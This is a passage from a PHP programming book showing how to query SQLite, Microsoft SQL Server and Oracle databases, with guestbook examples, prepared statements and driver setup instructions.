} else {
echo "Error!";
}
$db->close();
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
Listing 20.3 A Query without a Return Value, But with Prepared Statements ("sqlite-query-
prepared.php")
The following example shows associative access; the output is shown in Figure 20.2.
<?php
try {
$db = new SQLite3("file.db");
$sql = "SELECT * FROM my_table";
$result = $db->query($sql);
echo "<ul>";
while ($row = $result->fetchArray()) {
echo "<li>" . htmlspecialchars($row["id"]) .
": " . htmlspecialchars($row["field"]) . "</li>" ;
}
echo "</ul>";
$db->close();
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
Fans of modern PHP versions (hopefully all of them!) may object that this is all well and
good, but PHP offers the concept of iterators. Wouldn't it have been great if the devel-
opers of the SQLite library for PHP had integrated them? Rejoice! The developers actu-
ally did think of this, so you can iterate through a result list using foreach(), as in the
following listing.
<?php
try {
$db = new SQLite3("file.db");
$sql = "SELECT * FROM my_table";
$result = $db->query($sql);
echo "<ul>";
foreach ($result as $row) {
echo "<li>" . htmlspecialchars($row["id"]) .
": " . htmlspecialchars($row["field"]) . "</li>" ;
}
echo "</ul>";
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
Finally, we would like to point out a special variant of the query that can bring an addi-
tional performance gain. We are talking about a SELECT query that only has a single
return value (or where you are only interested in the values in the first column of the
result).
PHP has a special method for both: querySingle() sends a query to the database and
returns the value in the first column or (as an array) the complete first row.
If you execute querySingle() with "SELECT * FROM my_table" on the example table, you
will receive the value from the first column—that is, the id column. If you are only
interested in the first data record of the results list and want to get it back in full, you
must pass true as the second parameter.
In both cases, you no longer need to call fetchArray(); you have the result immediately.
The following listing shows an example.
<?php
try {
$db = new SQLite3("file.db");
$sql = "SELECT field FROM my_table";
$result = $db->querySingle($sql, true);
echo "<ul>";
foreach ($result as $element) {
echo "<li>" . htmlspecialchars($element) . "</li>";
}
echo "</ul>";
$db->close();
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
The querySingle() method is particularly convenient if you use one of SQL's aggregate
functions, such as COUNT(*). Then you have your result immediately without having to
juggle with arrays first.
<?php
try {
$db = new SQLite3("file.db");
$sql = "SELECT DISTINCT COUNT(field) FROM my_table";
$result = $db->querySingle($sql);
echo "There are $result different elements in the database.";
$db->close($db);
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
This is sometimes quite complicated, but it can be much simpler. The lastInsert-
RowID() method returns the ID of the last inserted value for a database handle (see
Figure 20.3)—if the table has an autovalue field at all.
<?php
try {
$db = new SQLite3("file.db");
$sql = "INSERT INTO my_table (field) VALUES ('value3')";
if ($db->exec($sql)) {
$id = $db->lastInsertRowID();
echo "Data with ID $id entered.";
} else {
echo "Error!";
}
$db->close();
The readout worked as usual—almost. The column names of the result list have been
adjusted. In the example, the column is no longer called field, but php('strtoupper',
field). For this reason, the individual values of a query were accessed via the numerical
index. As we are only querying one field, querySingle() also does the job. This is what it
would look like:
<?php
try {
$db = new SQLite3("file.db");
$sql = "SELECT php('strtoupper', feld) FROM my_table";
$result = $db->querySingle($sql);
echo "<ul>";
foreach ($result as $element) {
echo "<li>" . htmlspecialchars($element) . "</li>";
}
echo "</ul>";
$db->close();
Current PHP/SQLite versions no longer support this, which is why the previous listing
does not have a signature with a file name. However, the second variant still works
today. This consists of writing a PHP function yourself and then using it in SQLite. This
is done in several steps:
1. First, create your own helper function. Here you can see a constructed example that
first converts a text into capital letters and then HTML-codes it and adds formatting
instructions for bold and italics:
function sqlite_textart($s) {
return "<b><i>" .
htmlspecialchars(strtoupper($s)) .
"</i></b>";
}
2. Register this function with SQLite by calling createFunction(). The parameters are
the name of the function within SQL and the name of your own function (or an
anonymous function):
$db->createFunction("texteffect", "sqlite_textart");
3. Use the new function under its new name in a SQL command:
Listing 20.9 shows a complete example; you can see the output in Figure 20.4.
<?php
function sqlite_textart($s) {
return "<b><i>" .
htmlspecialchars(strtoupper($s)) .
"</i></b>";
}
try {
$db = new SQLite3("file.db");
$db->createFunction("texteffect", "sqlite_textart");
$sql = "SELECT id, texteffect(field) FROM my_table";
$result = $db->query($sql);
echo "<ul>";
while ($row = $result->fetchArray()) {
echo "<li>" . $row[0] .": " . $row[1] . "</li>";
}
echo "</ul>";
$db->close();
Tip
This procedure changes column names (in the example, from field to texteffect
(field)), which is why in Listing 20.9 the field values are accessed by numerical index.
if (!function_exists('sqlite_open')) {
function sqlite_open($filename, $mode = 0666)
{
$handle = new \SQLite3($filename);
return $handle;
}
}
So if the sqlite_open() function does not exist (which it would if an older SQLite exten-
sion were available), it is defined but uses the SQLite3 class in the background.
Porting the sqlite_fetch_all() function, which determines all data records of a query
result, is somewhat more laborious; there is no such functionality in SQLite3. So we
have to do this by hand:
if (!function_exists('sqlite_fetch_all')) {
function sqlite_fetch_all($result, $mode = SQLITE_BOTH)
{
$rows = array();
while ($row = $result->fetchArray($mode)) {
array_push($rows, $row);
}
return $rows;
}
}
The SQLITE_BOTH constant naturally only exists in the old SQLite extension, which is
why we have to define it (and others) separately:
if (!defined('SQLITE_BOTH')) {
define('SQLITE_BOTH', SQLITE3_BOTH);
}
Other SQLite functionalities are also implemented in sqlite-shim along these lines. If
you need to port older code, this library will hopefully make your work easier.
<?php
try {
$db = new SQLite3("guestbook.db");
$sql = "CREATE TABLE guestbook (
id INTEGER PRIMARY KEY,
heading VARCHAR(1000),
entry VARCHAR(5000),
author VARCHAR(50),
email VARCHAR(100),
date TIMESTAMP
)";
if ($db->exec($sql)) {
echo "Table created.<br />";
} else {
echo "Error!";
}
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
The rest is relatively simple: put together an INSERT statement, call exec(), and you’re
done. As a special treat, the administration form for the new entry is linked. Of course,
this has no place in a production system, but here it demonstrates the use of lastInsert-
RowID().
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if (isset($_POST["Name"]) &&
isset($_POST["Email"]) &&
isset($_POST["Heading"]) &&
isset($_POST["Comment"])) {
try {
$db = new SQLite3("guestbook.db");
$sql = vsprintf("INSERT INTO guestbook
(heading,
entry,
author,
email,
date)
VALUES ('%s', '%s', '%s', '%s', '%s')",
[
$db->escapeString($_POST["Heading"]),
$db->escapeString($_POST["Comment"]),
$db->escapeString($_POST["Name"]),
$db->escapeString($_POST["Email"]),
time()
]
);
if ($db->exec($sql)) {
$id = $db->lastInsertRowID();
echo "Entry added.
<a href=\"gb-edit.php?id=$id\">Edit</a>";
} else {
echo "Error!";
}
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
}
?>
<form method="post" action="">
Name <input type="text" name="Name" /><br />
Email address <input type="text" name="Email" /><br />
Heading <input type="text" name="Heading" /><br />
Comment
<textarea cols="70" rows="10" name="Comment"></textarea><br />
<input type="submit" name="Submit" value="Submit" />
</form>
</body>
</html>
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
try {
$db = new SQLite3("guestbook.db");
$sql = "SELECT * FROM guestbook ORDER BY date DESC";
$result = $db->query($sql);
while ($row = $result->fetchArray()) {
printf("<p><a href=\"mailto:%s\">%s</a> wrote on/at %s:</p>
<h3>%s</h3><p>%s</p><hr noshade=\"noshade\" />",
urlencode($row["email"]),
htmlspecialchars($row["author"]),
htmlspecialchars(date("Y-m-d, H:i", intval($row["date"]))),
htmlspecialchars($row["heading"]),
nl2br(htmlspecialchars($row["entry"]))
);
}
$db->close();
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
?>
</body>
</html>
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if (isset($_GET["id"]) && is_numeric($_GET["id"])) {
if (isset($_GET["ok"])) {
try {
$db = new SQLite3("guestbook.db");
$id = $db->escapeString($_GET["id"]);
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
$Name = "";
$Email = "";
$Heading = "";
$Comment = "";
if (isset($_GET["id"]) &&
is_numeric($_GET["id"])) {
try {
$db = new SQLite3("guestbook.db");
if (isset($_POST["Name"]) &&
isset($_POST["Email"]) &&
isset($_POST["Heading"]) &&
isset($_POST["Comment"])) {
$sql = vsprintf(
"UPDATE guestbook SET
heading = '%s',
entry = '%s',
author = '%s',
email = '%s'
WHERE id='%s'",
[
$db->escapeString($_POST["Heading"]),
$db->escapeString($_POST["Comment"]),
$db->escapeString($_POST["Name"]),
$db->escapeString($_POST["Email"]),
$db->escapeString($_GET["id"])
]
);
if ($db->exec($sql)) {
echo "<p>Entry changed.</p>
<p><a href=\"gb-admin.php\">Back to overview
</a></p>";
} else {
echo "Error!";
}
}
$sql = sprintf("SELECT * FROM guestbook WHERE id='%s'",
$db->escapeString($_GET["id"]));
$result = $db->query($sql);
if ($row = $result->fetchArray()) {
$Name = $row["author"];
$Email = $row["email"];
$Heading = $row["heading"];
$Comment = $row["entry"];
}
$db->close();
} catch (Exception $ex) {
echo "Error: " . $ex->getMessage();
}
}
?>
The guestbook is now complete. All you really need now is a protection mechanism for
the administration pages, and then you can get on with the finishing work (especially
the layout).
The battle of the individual database manufacturers is in full swing. Microsoft lagged
behind for a long time and did not even have its own product. But then a pattern
emerged that had already been crowned with success in many other places. First, a
competing product was bought up—in this case, by Sybase. The intermediate goal was
to gain market presence. Then the company from Redmond hired some of the bright-
est minds in the industry and rebuilt and expanded the existing product. Microsoft
SQL Server (MSSQL) is now a respectable product and plays in the big league.
In the past, it was even possible to access an MSSQL installation from Linux. However,
current versions of Microsoft SQL Server no longer support this approach, which is why
we are not describing it here. If you have such a heterogeneous network that Apache
runs on Linux, but the SQL Server (inevitably) runs on Windows, then you will have to
find a workaround by implementing a type of API for the database on the Windows
platform and then accessing it via PHP (and HTTP, for example). Or, even better—use
the SQL Server under Linux right away!1
Under Windows, it is of course possible to access Microsoft SQL Server either way.
Depending on the version of SQL Server, however, there are some detailed changes in
the control.
21.1 Preparations
Microsoft SQL Server Developer Edition is a free version that may not be used on produc-
tion systems but works without restriction for development and testing. Alternatively,
you can also use the other free version, Microsoft SQL Server Express Edition. This is a
version of MSSQL that has been released for productive use but is somewhat slimmed
down in terms of functionality. For example, all graphical administration tools are
missing (unless you know where to get a replacement, discussed ahead), and the num-
ber of simultaneous connections is limited, as is the maximum database size. Never-
theless, the SQL Server Express Edition is a very interesting product for testing alone
(and free of charge) and is also a potential alternative for small and medium-sized web-
sites. You can currently download version 2022 at http://s-prs.co/v602225.
Incidentally, even the SQL Server graphical administration tool (Management Studio;
see Figure 21.1) used to offer a slimmed-down free version that works perfectly with the
SQL Server Express Edition: SQL Server Management Studio Express. The product name
is so long that it is often abbreviated to the barely more memorable SSMSE. However,
the "big" management tool, without Express in the name, is now also freely available.
The abbreviation is therefore SSMS. You can download SSMS as a separate tool from the
download pages mentioned. However, the following explanations also apply to older
versions of SQL Server; we have tested with versions 2012 to 2022.
Once the database server has been installed, the bridge to PHP is established. If you
have an older version of PHP on your system and take a look at php.ini, the following
entry will appear tempting:
extension=php_mssql.dll
However, this is the old, no longer maintained (and no longer supported by current
MSSQL versions) PHP extension for controlling the database. We can't go any further
here. We have to get help—from Microsoft itself.
In the following examples, we use the Windows package. The archive contains exten-
sions for 32-bit (x86) and 64-bit (x64) PHP versions. Here are the files for PHP 8.3:
쐍 php_pdo_sqlsrv_83_nts_x86.dll
쐍 php_pdo_sqlsrv_83_nts_x64.dll
쐍 php_pdo_sqlsrv_83_ts_x86.dll
쐍 php_pdo_sqlsrv_83_ts_x64.dll
쐍 php_sqlsrv_83_nts_x86.dll
쐍 php_sqlsrv_83_nts_x64.dll
쐍 php_sqlsrv_83_ts_x86.dll
쐍 php_sqlsrv_83_ts_x64.dll
As you can see from the file names, you have to make two decisions:
쐍 The type of web server. Here, ts stands for thread-safe, nts for not thread-safe. If you
use the IIS as a web server, you can use the non-thread-safe versions. These are more
performant than the thread-safe versions that you need for Apache, for example.
쐍 Whether you use PDO (the first two files) or go directly to the SQL server via an
extension.
Copy the appropriate file for your system into the PHP extension directory and add a
corresponding instruction to php.ini—for example:
extension=php_sqlsrv_83_nts_x64.dll
You also need the Microsoft ODBC Driver for SQL Server in at least version 13 (the cur-
rent version is 18). The corresponding link is http://s-prs.co/v60226.
If everything went well, you will find an entry for the sqlsrv extension in the output of
phpinfo() (see Figure 21.3).
sqlsrv_connect("(local)\\SQLEXPRESS")
You must specify the database you want to access in the second parameter:
sqlsrv_connect(
"(local)\\SQLEXPRESS",
["Database" => "PHP"]);
If you do want to connect to the server using a user name and password, you can use
the following syntax:
sqlsrv_connect(
"(local)\\SQLEXPRESS",
["UID" => "user", "PWD" => "password"]);
The following listing shows a simple example that only establishes a connection to the
server.
<?php
if ($db = sqlsrv_connect("(local)\\SQLEXPRESS")) {
echo "Connection successful.";
sqlsrv_close($db);
} else {
echo "Error!";
}
?>
Tip
As in the previous chapters, we have dispensed with "proper" error handling for reasons
of clarity. The sqlsrv_errors() function, for example, returns all error information.
21.2.2 Queries
To send a query to the SQL server database, use the sqlsrv_query() function. Two argu-
ments are required: the database connection (returned by sqlsrv_connect()) and the
SQL command. You can see an example in the following listing.
<?php
if ($db = sqlsrv_connect(
"(local)\\SQLEXPRESS",
["Database" => "PHP"])) {
$sql = "CREATE TABLE my_table (
id INT IDENTITY NOT NULL,
field VARCHAR(255)
)";
if (sqlsrv_query($db, $sql)) {
echo "Table created.<br />";
} else {
echo "Error!";
}
$sql = "INSERT INTO my_table (field) VALUES ('Value1')";
if (sqlsrv_query($db, $sql)) {
echo "Data entered.<br />";
} else {
echo "Error!";
}
$sql = "INSERT INTO my_table (field) VALUES ('Value2')";
if (sqlsrv_query($db, $sql)) {
echo "Data entered.";
} else {
echo "Error!";
die(print_r( sqlsrv_errors(), true));
}
sqlsrv_close($db);
} else {
echo "Error!";
}
?>
Listing 21.2 Create and Fill Table with the Microsoft Driver ("sqlsrv-query.php")
<?php
if ($db = sqlsrv_connect(
"(local)\\SQLEXPRESS",
["Database" => "PHP"])) {
$sql = "SELECT * FROM my_table";
if ($result = sqlsrv_query($db, $sql)) {
echo "<ul>";
while ($row = sqlsrv_fetch_array($result)) {
echo "<li>" . htmlspecialchars($row["id"]) .
": " . htmlspecialchars($row["field"]) . "</li>" ;
}
echo "</ul>";
}
sqlsrv_close($db);
} else {
echo "Error!";
}
?>
Listing 21.3 All Query Data as an Associative Array with the Microsoft Driver ("sqlsrv-
read.php")
Reading using objects is very similar, but the function name changes from sqlsrv_
fetch_array() to sqlsrv_fetch_object() and the access from $row["column"] to $row->
column.
<?php
if ($db = sqlsrv_connect(
"(local)\\SQLEXPRESS",
["Database" => "PHP"])) {
$sql = "SELECT * FROM my_table";
if ($result = sqlsrv_query($db, $sql)) {
echo "<ul>";
while ($row = sqlsrv_fetch_object($result)) {
echo "<li>" . htmlspecialchars($row->id) .
": " . htmlspecialchars($row->field) . "</li>";
}
echo "</ul>";
}
sqlsrv_close($db);
} else {
echo "Error!";
}
?>
then use sqlsrv_get_field() to access individual columns of the data set via their
number, as follows:
while (sqlsrv_fetch($result)) {
echo "<li>" . htmlspecialchars(sqlsrv_get_field($result, 0)) .
": " . htmlspecialchars(sqlsrv_get_field($result, 1)) . "</li>";
}
Prepared Statements
Of course, the sqlsrv extension also offers parameterized queries. For this, you must
first create a command object. Use question marks as placeholders in the SQL code:
With sqlsrv_prepare(), you create the command object. You pass the values for the
placeholders as an array, even if you only use one placeholder as in the example. Note
that the values in the array must be transferred as a reference or you will receive a
warning:
$value = "123";
$stmt = sqlsrv_prepare($db, $sql, [&$value]);
sqlsrv_execute($stmt);
The following listing shows a related example that allows users to add additional values
to the database using a small HTML form.
<?php
if (isset($_POST['value']) && is_string($_POST['value'])) {
if ($db = sqlsrv_connect(
"(local)\\SQLEXPRESS",
["Database" => "PHP"])) {
$sql = "INSERT INTO my_table (field) VALUES (?)";
$stmt = sqlsrv_prepare($db, $sql, [&$_POST['value']]);
if (sqlsrv_execute($stmt)) {
echo "Data entered.<br />";
} else {
echo "Error!";
}
echo "Value entered!";
sqlsrv_close($db);
} else {
echo "Error!";
}
}
?>
<form method="post" action="">
<input type="text" name="value" />
<input type="submit" value="Enter" />
</form>
<?php
if ($db = sqlsrv_connect(
"(local)\\SQLEXPRESS",
["Database" => "PHP"])) {
$sql = "SELECT * FROM my_table";
$sql = "INSERT INTO my_table (field) VALUES ('value3')";
if (sqlsrv_query($db, $sql)) {
echo "Data entered.<br />";
} else {
echo "Error!";
}
$sql = "SELECT @@IDENTITY FROM my_table";
if ($result = sqlsrv_query($db, $sql)) {
sqlsrv_fetch($result);
$id = sqlsrv_get_field($result, 0);
echo "Data entered with ID $id.";
} else {
echo "Error!";
}
sqlsrv_close($db);
} else {
echo "Error!";
}
?>
Stored Procedures
With stored procedures, which some people refer to as embedded procedures, it is possi-
ble to encapsulate several database queries directly within the database in blocks. This
is common practice in many web agencies: a database administrator is the only person
who has full access to the database; web applications (and their developers) are only
allowed to call special stored procedures. This avoids a lot of trouble during develop-
ment.
The previous example with the insertion and return of the autovalue is implemented
in a stored procedure as follows procedure:
You can insert this stored procedure using a tool—or you can also have it inserted by a
PHP script, as in the following listing.
<?php
if ($db = sqlsrv_connect(
"(local)\\SQLEXPRESS",
["Database" => "PHP"])) {
$sql = "SELECT * FROM my_table";
$sql = "CREATE PROCEDURE pr_insert (
@value VARCHAR(50)
) AS
INSERT INTO my_table (field) VALUES (@value)
SELECT @@IDENTITY FROM my_table
GO";
if (sqlsrv_query($db, $sql)) {
echo "Stored procedure created.";
} else {
echo "Error!";
}
sqlsrv_close($db);
} else {
echo "Error!";
}
?>
To execute the stored procedure, execute it in the SQL code with EXEC or CALL, as in the
following complete listing.
<?php
if ($db = sqlsrv_connect(
"(local)\\SQLEXPRESS",
["Database" => "PHP"])) {
$sql = "{call pr_insert(?)}";
$value = "value4";
$parameter = [
[$value, SQLSRV_PARAM_IN]
];
if ($result = sqlsrv_query($db, $sql, $parameter)) {
echo "Stored procedure called.";
} else {
echo "Error!";
}
sqlsrv_close($db);
} else {
echo "Error!";
}
?>
쐍 sqlsrv_has_rows()
Determines whether a results list contains any data at all
쐍 sqlsrv_num_rows()
The number of rows in the result list
쐍 sqlsrv_server_info()
Information about the database (as an associative array with version number and so
on)
There is potential in the Microsoft driver, as it is being developed very actively, unlike
the mssql extension. However, the question remains whether it will eventually become
an official part of PHP or whether it will remain a proprietary Microsoft "product" as the
code is open source.
<?php
if ($db = sqlsrv_connect(
"(local)\\SQLEXPRESS",
["Database" => "PHP"])) {
$sql = "CREATE TABLE guestbook (
id INT IDENTITY NOT NULL,
heading VARCHAR(1000),
entry VARCHAR(5000),
author VARCHAR(50),
email VARCHAR(100),
date DATETIME,
PRIMARY KEY (id)
)";
if (sqlsrv_query($db, $sql)) {
echo "Table created.<br />";
} else {
echo "Error!";
}
sqlsrv_close($db);
} else {
echo "Error!";
}
?>
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if (isset($_POST["Name"]) &&
isset($_POST["Email"]) &&
isset($_POST["Heading"]) &&
isset($_POST["Comment"])) {
if ($db = sqlsrv_connect(
"(local)\\SQLEXPRESS",
["Database" => "PHP"])) {
$sql = "INSERT INTO guestbook
(heading,
entry,
author,
email,
date)
VALUES (?, ?, ?, ?, ?)";
$date = date("Y-m-d H:i");
$parameter = [
&$_POST["Heading"],
&$_POST["Comment"],
&$_POST["Name"],
&$_POST["Email"],
$date,
];
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if ($db = sqlsrv_connect(
"(local)\\SQLEXPRESS",
["Database" => "PHP"])) {
$sql = "SELECT * FROM guestbook ORDER BY date DESC";
$result = sqlsrv_query($db, $sql);
while ($row = sqlsrv_fetch_object($result)) {
printf("<p><a href=\"mailto:%s\">%s</a> wrote on/at %s:</p>
<h3>%s</h3><p>%s</p><hr noshade=\"noshade\" />",
urlencode($row->email),
htmlspecialchars($row->author),
htmlspecialchars($row->date->format("Y-m-d H:i:s")),
htmlspecialchars($row->heading),
nl2br(htmlspecialchars($row->entry))
);
}
sqlsrv_close($db);
} else {
echo "Error!";
}
?>
</body>
</html>
As shown in Figure 21.4, the date value is not yet output perfectly. For this reason, it is
worth parsing the return value again from PHP at this point.
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
if (isset($_GET["id"]) && is_numeric($_GET["id"])) {
if (isset($_GET["ok"])) {
if ($db = sqlsrv_connect(
"(local)\\SQLEXPRESS",
["Database" => "PHP"])) {
$id = intval($_GET["id"]);
$sql = "DELETE FROM guestbook WHERE id=$id";
if (sqlsrv_query($db, $sql)) {
echo "<p>Entry deleted.</p>
<p><a href=\"gb-admin.php\">Back to overview
</a></p>";
} else {
echo "Error!";
}
sqlsrv_close($db);
} else {
echo "Error!";
}
} else {
printf("<a href=\"gb-admin.php?id=%s&ok=1\">Really delete?
</a>", urlencode($_GET["id"]));
}
} else {
if ($db = sqlsrv_connect(
"(local)\\SQLEXPRESS",
["Database" => "PHP"])) {
$sql = "SELECT * FROM guestbook ORDER BY date DESC";
$result = sqlsrv_query($db, $sql);
while ($row = sqlsrv_fetch_object($result)) {
<html>
<head>
<title>Guestbook</title>
</head>
<body>
<h1>Guestbook</h1>
<?php
$Name = "";
$Email = "";
$Heading = "";
$Comment = "";
if (isset($_GET["id"]) &&
is_numeric($_GET["id"])) {
if ($db = sqlsrv_connect(
"(local)\\SQLEXPRESS",
["Database" => "PHP"])) {
if (isset($_POST["Name"]) &&
isset($_POST["Email"]) &&
isset($_POST["Heading"]) &&
isset($_POST["Comment"])) {
$sql = "UPDATE guestbook SET
heading = ?,
entry = ?,
author = ?,
email = ?
WHERE id = ?";
$parameter = [
$_POST["Heading"],
$_POST["Comment"],
$_POST["Name"],
$_POST["Email"],
$_GET["id"]
];
if ($command = sqlsrv_prepare($db, $sql, $parameter) &&
sqlsrv_execute($command)) {
echo "<p>Entry changed.</p>
<p><a href=\"gb-admin.php\">Back to overview</a></p>";
} else {
echo "Error!";
}
}
$sql = sprintf("SELECT * FROM guestbook WHERE id=%s",
intval($_GET["id"]));
$result = sqlsrv_query($db, $sql);
if ($row = sqlsrv_fetch_object($result)) {
$Name = $row->author;
$Email = $row->email;
$Heading = $row->heading;
$Comment = $row->entry;
}
sqlsrv_close($db);
} else {
echo "Error!";
}
}
?>
<form method="post" action="">
Name <input type="text" name="Name" value="<?php
echo htmlspecialchars($Name);
?>" /><br />
Email address <input type="text" name="Email" value="<?php
echo htmlspecialchars($Email);
?>" /><br />
Heading <input type="text" name="Heading" value="<?php
echo htmlspecialchars($Heading);
?>" /><br />
Comment
<textarea cols="70" rows="10" name="Comment"><?php
echo htmlspecialchars($Comment);
?></textarea><br />
<input type="submit" name="Submit" value="Update" />
</form>
</body>
</html>
Oracle divides opinion. Fans see the product as the ultimate database, invincible1 in
terms of features and performance. Critics are surprised at the numerous peculiarities
of the database compared to the competition. In other words: thanks to the good tools
supplied, (almost) anyone can use Microsoft SQL Server, while Oracle is considered by
many to be more powerful in professional applications.
However, the purpose of this book is not to indoctrinate favored databases, but to pres-
ent all relevant products on the market with regard to their PHP control. You will there-
fore also find insight into the most important commands for working with the
database in this chapter.
22.1 Preparations
First you’ll need Oracle. You can download test versions from the technical resources of
Oracle, formerly Oracle Technology Network (www.oracle.com/technical-resources).
Similar to Microsoft, Oracle now also offers a free version of the database with some-
what reduced functionality. It is called Oracle XE (XE for Express Edition) and is available
for download at http://s-prs.co/v602227 after free registration for Windows and Linux
(see Figure 22.1). However, users of Debian and Ubuntu will have an easier time distrib-
uting the software on their systems than obtaining it from the Oracle website.
The Oracle module is already included in the main PHP ZIP package for Windows.
Removing the semicolon at the beginning of one of the following two lines in php.ini
installs the corresponding extension, depending on which version of the client librar-
ies you want to use. With PHP 8.3, for example, only the latter extension is included by
default:
1 But not "unbreakable." Oracle had to retract this claim in an advertising slogan when heaps of vul-
nerabilities were found (as in all other relevant databases).
However, a prerequisite for using this extension is the presence of the Oracle Instant
Client (http://s-prs.co/v602228) already mentioned in the php.ini comment. Pay atten-
tion in Windows, because there you also need the Microsoft Visual C++ Redistributable;
the exact version is linked on Oracle's download page.
Including the extension DLL loads a whole series of Oracle client DLLs, which is why the
Instant Client must also be in the path. To do this, the web server naturally requires
read rights to the corresponding directory. For example, the IIS runs under the user
account IUSR_<machine name>, which still needs to be assigned this right. Be sure to
specify under Advanced that you want to replace the old rights with the new rights for
the entire directory.
Tip
If you do not have the option to change these rights (usually via the Security tab in the
file properties), then deactivate simple file sharing in the folder options.
Under Unix/Linux, use the --with-oci8 compilation switch. The ORACLE_HOME environ-
ment variable should be set as PHP searches for the Oracle client libraries in this direc-
tory. Alternatively, you can specify the directory directly: --with-oci8=/path/to/
oracle. If you want to use PECL, the installation runs as usual:
On both operating systems, you also need environment variables that contain infor-
mation about the Oracle installation:
쐍 ORACLE_HOME
Oracle installation directory
쐍 ORACLE_SID
Name of the database
쐍 NLS_LANG
Language setting used
쐍 ORA_SDTZ
Session time zone used
Windows users will find this information in the registry after the installation of Oracle
and a reboot (important!). Unix/Linux users also need the LD_LIBRARY_PATH variable so
that the libraries can be found. Another requirement for these operating systems is
that the pthread library must be linked in Apache. This can be checked with ldd /path/
to/httpd (see Figure 22.2).
Figure 22.2 New Installation Necessary: This Apache Does Not Use "libpthread"
It is then worth calling phpinfo(), which (hopefully) shows the success of the installa-
tion (see Figure 22.3).
Next, you need to preconfigure the local Oracle instance accordingly. To do this, first
create a user user with the password password (e.g., in SQL*Plus).2 This is made particu-
larly easy by assigning the user the connect right (and in the example, also dba, which
makes access easier later). If the user does not exist, it is simply created. Figure 22.4
shows the result in the command line.
It is somewhat more convenient to use the SQL Developer as a graphical user interface.
You can download the tool free of charge from http://s-prs.co/v602229, but you will
2 Of course, you can also name the user differently and assign a different password; this is probably
also advisable for security reasons. However, you will then have to modify all the code examples in
this chapter.
need the Java Development Kit (the Java Runtime Environment is not sufficient). How-
ever, the configuration tool is still worthwhile, as you can easily create a database and
make further settings there.
Finally, you need to decide how PHP should connect to Oracle. There are several
options here:
쐍 Name of a local Oracle instance.
쐍 Connection name stored in the tnsnames.ora configuration file.
쐍 Use of the EasyConnect syntax, which is available from Oracle version 10g. The con-
nection string looks something like a URL—for example, localhost/service name.
In the following, we assume that we use "orcl" as the connection string, either as a TNS
entry or as a local instance name. If necessary, adapt this connection string to your
respective system and make sure that the test user also has access to it.
Installation and configuration can therefore take some time; it is worth taking a look at
the user comments in the PHP online manual in case of problems. Oracle also has spe-
cial FAQs for use with PHP:
쐍 http://s-prs.co/v602230 contains general information about the use of PHP.
쐍 http://s-prs.co/v602231 leads to The Underground PHP and Oracle Manual, a detailed
manual on development with PHP and Oracle. (At the time of publication, it was up
to date with Oracle 11g R2.)
쐍 http://s-prs.co/v602232 leads to the Oracle extension in PECL, currently maintained
and often newer than what is delivered with PHP. From version 3, the extension is
compatible with PHP 8; for PHP 7, it is best to use version 2.2.
<?php
if ($db = oci_connect("user", "password", "orcl")) {
echo "Connection successful.";
oci_close($db);
} else {
echo "Error!";
}
?>
Tip
If errors occur here, this is often because an environment variable has not been set cor-
rectly or because the tnsnames.ora file contains Windows line endings.
Error Handling
The examples in this chapter only ever output a rather banal error message; they do
not suppress the actual error messages of the individual functions (for debugging rea-
sons), which would be possible by using an at sign (@) in front of the function name.
However, there is a special mechanism for this. oci_error() returns information about
the last error that occurred. The following can be passed as parameters:
쐍 No parameter for errors when establishing a connection
쐍 The database handle in the event of errors when parsing SQL commands
쐍 The command object if errors occur when executing SQL commands
22.2.2 Queries
Queries to the database are carried out in two steps:
1. oci_parse() parses an SQL command and creates an object from it.
2. oci_execute() sends the object to the database.
However, this may mean that the data has not yet been completely committed as auto-
commit is deactivated by default in Oracle. You can optionally specify the execution
mode for oci_execute(). This is somewhat confusing, as there are two relevant modes
(and a few others):
1. OCI_DEFAULT has no autocommit, but—despite its name—is not the default value.
2. OCI_COMMIT_ON_SUCCESS causes a COMMIT if no error has occurred. This is the default
value.
If you use OCI_DEFAULT, you must also call oci_commit() so that your changes in the data-
base actually take effect.
There are some special features when creating the test table. First, the VARCHAR2 data
type is commonly used under Oracle (instead of VARCHAR):
On the other hand, autovalues are not that simple: They do not exist. However, you can
achieve a similar behavior with a little trick. First create a sequence:
Now you can also set up a trigger that ensures that the sequence is incremented by 1
(NEXTVAL) after each insertion and then written to the new data record:
Note
The pseudotable DUAL is used in Oracle to generate return values even without existing
tables in order to use them in SQL commands. For example, SELECT 'PHP' FROM DUAL
also works. Its result is the string PHP.
The following listing creates the table, inserts two values, and then issues a COMMIT.
<?php
if ($db = oci_connect("user", "password", "orcl")) {
$sql = "CREATE TABLE my_table (
id NUMBER(10) PRIMARY KEY,
field VARCHAR2(1000)
);
CREATE SEQUENCE my_table_id;
CREATE TRIGGER my_table_autoincrement BEFORE INSERT ON my_table
REFERENCING NEW AS NEW OLD AS OLD FOR EACH ROW
BEGIN
SELECT my_table_id.NEXTVAL INTO :NEW.id FROM DUAL;
END;";
$command = oci_parse($db, $sql);
if (oci_execute($command, OCI_DEFAULT)) {
echo "Table created.<br />";
} else {
echo "Error!";
}
$sql = "INSERT INTO my_table (field) VALUES ('Value1')";
$command = oci_parse($db, $sql);
if (oci_execute($command, OCI_DEFAULT)) {
echo "Data entered.<br />";
} else {
echo "Error!";
}
